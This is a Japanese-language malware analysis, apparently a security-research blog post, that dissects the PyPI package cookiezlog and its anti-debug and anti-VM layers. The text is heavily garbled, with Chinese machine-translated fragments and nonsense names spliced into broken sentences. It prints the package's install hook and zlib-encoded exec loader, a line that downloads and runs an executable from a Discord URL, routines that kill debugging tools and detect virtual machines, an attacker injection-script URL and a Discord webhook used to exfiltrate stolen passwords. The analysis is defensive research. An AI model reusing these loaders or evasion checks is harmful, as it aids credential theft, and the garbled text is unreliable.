PyPIマルウェアの作成者に支持されるアンチデバッグのテクニック

小青蛙,小青蛙,小青蛙チームは,人気のあるオープンソースソフトウェア(OSS)リポジトリを这是真的吗で継続的に監視し,発見された脆弱性や悪意のあるパッケージをリポジトリのメンテナやより広いコミュニティに報告しています。
今日,ほとんどのPyPIマルウェアは,原始的な変数の操作から洗練されたコードの平坦化やステガノグラフィ技術まで,様々な技術を使って静的検出を回避しようとします。これらの手法が使われることにより非常に怪しいパッケージになりますが,経験が少ないリサーチャーが静的解析ツールを使ってマルウェアの正確な動作を理解できないようにします。しかし,マルウェアサンドボックスのような動的解析ツールは,マルウェアの静的防御のレイヤーを素早く取り除き,その背後にあるロジックを明らかにすることができます。
最近,攻撃者はさらに進化しています。私たちは最近,通常の難読化ツールやテクニックに加え,(動的解析ツールを妨害するように設計されている)アンチデバッグコードを採用していると思われるcookiezlog。これは(他に公開されている記事含め)私たちの研究者チームがPyPIマルウェアにこの種の防御を発見した最初の例です。
この記事では,このPythonマルウェアで使用されているテクニックの概要と,類似のマルウェアを解凍する方法について説明します。
インストールトリガー
,cookiezlog。“开发”、“安装”、“安装”、“安装”、“安装”。
PostInstallCommand(install): def run(self): execute() install.run(self)类PostInstallCommand(install): def run(self): execute() install.run(self)…setup(name='cookiezlog', version='0.0.1', description='额外的Roblox抓取包',…cmdclass={'develop': PostDevelopCommand, 'install': PostInstallCommand,},)
1 -
最初の,そして最も単純な防御レイヤーはzlibでエンコードされたコードで,パッケージがインストールされた直後に実行されます。
exec(marshal.loads(zlib.decompress(b'x\x9cM\x90\xc1J\xc3@\x10\x86\xeb\ xb50 \xb1\xec)\x01\xd9\xdd4I\x93\x08=\x84\xe0A\xa8(\xa1\x1e<\x85\x98\x0c6hv\xd7…')))
解読されたペイロードは,ハードコードされたURLからファイルをダウンロードし,被害者のマシンで実行されます。
URL = "https://cdn.discordapp.com/attachments/1037723441480089600/1039359352957587516/Cleaner.exe" response = requests.get(URL) open("Cleaner.exe", "wb").write(response.content) os。system("set __COMPACT_LAYER=RunAsInvoker | start Cleaner.exe")
Windows操作系统PE(Portable Executable)実行ファイル内の文字列を見ると,実際のネイティブコードではなく,PE形式にパックされたPythonスクリプトであることがわかります。
无法从可执行文件(%s)或外部文件(%s)打开PyInstaller存档文件。PyInstaller: pyi_win32_utils_to_utf8失败。
オープンソースツールPyInstaller萃取器我的意思是,我的意思是,我的意思是。
解凍の結果得られるコードには,主にサードパーティのライブラリを中心とした多くのファイルが含まれています。その中で最も興味深いファイルはmain.pyc。
2 - PyArmor
通常、uncompyle6などのツールを使ってmain.pycのバイトコードをPythonソースコードに逆コンパイルすることができるはずです。しかしこの場合,main.pycに対して別の文字列を実行すると,このバイナリがPyArmor() () () () () ()
pytransformer __pyarmor__ Dist\obf\main.py
PyArmorは商用のパッカー(実行可能なファイルを圧縮するもの)および難読化するためのツールで,元のコードに難読化技術を適用して暗号化し,解析から防御するものです。リサーチャーにとって幸運なことに,PyArmorはイントロスペクションに必要な情報の多くを保持しています。これを知っていれば,元のコードで使われている関数や定数の名前の復元を試みることができます。
PyArmorは一般に公開されているアンパッカーを持ちませんが,多少の手作業で完全に解凍することができます。このケースで,私たちはオリジナルのシンボルと文字列に興味があったので,(ライブラリインジェクションを使用して)素早く解凍するショートカットを実行することを選択しました。
パックされたモジュールをスタンドアローンのスクリプトとして実行しようとすると,システムに必要なモジュールがないことを指定するエラーが発生します。
$ python.exe .\main。pyc回溯(最近一次调用):文件"",第3行,在文件"",第1行,在ModuleNotFoundError:没有名为'psutil'的模块
このモジュールはpsutilモジュールを探すので,PYTHONPATHのどこかに同じ名前のモジュールを作成すれば,プロセスのコンテキストで実行されます。これはプロセスに独自のコードを注入するための簡単なエントリポイントとして使用することができます。防御されたファイル(main.pyc)と同じディレクトリにpsutil.pyという名前の独自のファイルを以下のコードで作成しました。
在inspect.stack()中导入inspect for frame:在frame.frame.f_code.co_consts中导入c:如果不是inspect.iscode(c):继续dis.show_code(c)
このスニペットでは,実行中のコードに関する実行時情報を取得できる检查。。
中文:。最も注目すべき文字列は,攻撃者のリポジトリを指すインジェクション・モジュールのURLとコード内のアンチVM機能への言及でした。
注入器app-(\d*\.\d*)*) https://raw.githubusercontent.com/Syntheticc/injection1/main/injection.js %WEBHOOK% %IP% index.js check_vm无VMwareService.exe VMwareTray.exe
アンチデバッグ技術
“”“”“”“”“”“合成GitHub★★★★★★★★★。中でも“先进反调试”と呼ばれるリポジトリがあり,マルウェアの解析を阻止するために使用できるメソッドが含まれていました。

マルウェアが使用した動的な手法は,“アンチデバッグ(Anti-Debug)”と”アンチVM (Anti-VM)”の2つのカテゴリーに分けることができます。
”“アンチデバッグは,デバッガや逆アセンブラに関連する不審なシステムの挙動をチェックする機能で,次のような機能があります。
check_processes。。
- “idau64.exe”(IDA Pro:)
- “x64dbg.exe”(X64dbg)
- “Windbg.exe”(WinDbg)
- “Devenv.exe”(Visual Studio IDE)
- “Processhacker.exe”(过程的黑客)
PROCNAMES = ["ProcessHacker.exe", "httpdebuggerui.exe", "wireshark.exe", "fiddler.exe", "regedit.exe",…]如果PROCNAMES中的proc.name(): proc.kill()
check_research_tools。
- wireshark (Wireshark (Wireshark)
- “提琴手”(小提琴手)
- “http”(HTTP, ()
- “流量”()
- “包”()
これらのプロセスのいずれかが実行中であることが判明した場合,アンチデバッグコードはpsutil.Process.kill。。ステルスをより意識したマルウェアは,外部プロセスと相互作用する代わりに,何の表示もなく実行を停止します。
その他のアンチデバッグ技術は,マルウェアが仮想マシン内で実行されていないことを確認しようとするものです。
check_dll【翻译VMWare(" vmGuestLib.dll "),不需要VirtualBox(“vboxmrxnp.dll”)バーチャルマシンのゲスト下で動作していることを示すDLLがあるかどうか,システムのルートディレクトリをチェックします。
check_vmは,VMware関連のプロセス,特にVMwareService.exeやVMwareTray.exeが実行されているかどうかをチェックします
check_registry。例えば,VMWareドライバがインストールされたときに追加される次のような中文:。
HKEY_LOCAL_MACHINE \ SYSTEM \
ControlSet001 \ \控制类\ {4 d36e968 e325 - 11 - ce bfc1 - 08002 - be10318} \ 0000 \ DriverDesc
def check_registry(): if system("REG QUERY HKEY_LOCAL_MACHINE\\ system \\ControlSet001\ Control\ Class\\{4d36e968 - e225 - 11ce - bfc1 - 08002be10318}\\0000\\DriverDesc 2> nul") = 1 and system("REG QUERY HKEY_LOCAL_MACHINE\\ system \\ControlSet001\\Control\\Class\\{4d36e968 - e225 - 11ce - bfc1 - 08002be10318}\\0000\ ProviderName 2> nul") != 1:exit_program('检测到的虚拟机')handle = OpenKey(HKEY_LOCAL_MACHINE, ' system \\CurrentControlSet\\Services\\Disk\\Enum') try:如果"VMware"在QueryValueEx(句柄,'0')[0]或"VBOX"在QueryValueEx(句柄,'0')[0]:exit_program('检测到的Vm') finally: CloseKey(句柄)
check_specs。
def check_specs():如果int(str(virtual_memory()[0]/1024/1024).split(".")[0]) <= 4: exit_program('Memory Ammount Invalid')如果int(str(disk_usage('/')[0]/1024/1024).split(".")[0]) <= 50: exit_program('Storage Ammount Invalid')如果int(cpu_count()) <= 1: exit_program('Cpu Counts Invalid')
メモリやディスクの容量が少ない場合や,CPUが1つしかない場合は,仮想マシン内でプロセスが動作していると判断します。
上記のチェックはすべて比較的簡単なものですが,このマルウェアがすでに採用している静的解析に対する十分な防御機能により,経験が少ないリサーチャー,特にこの特定のマルウェアの防御を破ることができない自動解析ツールしか使用したことのないリサーチャーに対する十分な防御機能を提供します。
ペイロード——シンプルなパスワードグラバー
。ペイロードはパスワードグラバーで,一般的なブラウザのデータキャッシュに保存されている自動入力されるパスワードを収集し,C2サーバ(この場合は不和フック)に送信します。
https(/ /):不和[,]com/api/webhooks/1039353898445582376/cvrsu8CslmIYzNyXMpkjbkNEy_O0yjg08x5R_a7mPdgooQquALPINn1YfD5CuJ11dM7h)。
マルウェアから抽出された文字列から,“業界標準”の不和トークン漏洩機能に加え,send_info,金匮。
名称:send_info文件名:参数计数:0…常量:0:无1:'USERPROFILE'…5 . coinbase…“binance”……9 .“paypal”……
∕∕∕
マルウェア開発者は,常に進化を続け新しい回避方法を追加し,ツールの解析から防御するための新しいレイヤーを追加していることが改めてわかります。ほんの数年前までは,PyPIマルウェアの作者が使用するツールといえば,シンプルなペイロードエンコーダだけでした。今日,OSSリポジトリにアップロードされるマルウェアは,より複雑化し,いくつかのレベルの静的および動的な防御を備え,商用および自作のツールを組み合わせて利用していることがわかります。これは,ネイティブマルウェアの世界における“仲”間と同様であり,OSSリポジトリ型マルウェアは,カスタムポリモーフィックエンコーディングやより高度なアンチデバッグ手法といった高度な技術を駆使して,今後も進化を続けることが予想されます。
JFrog
JFrog,セキュリティ・リサーチのブログ記事や推特@JFrogSecurity★★★★★★★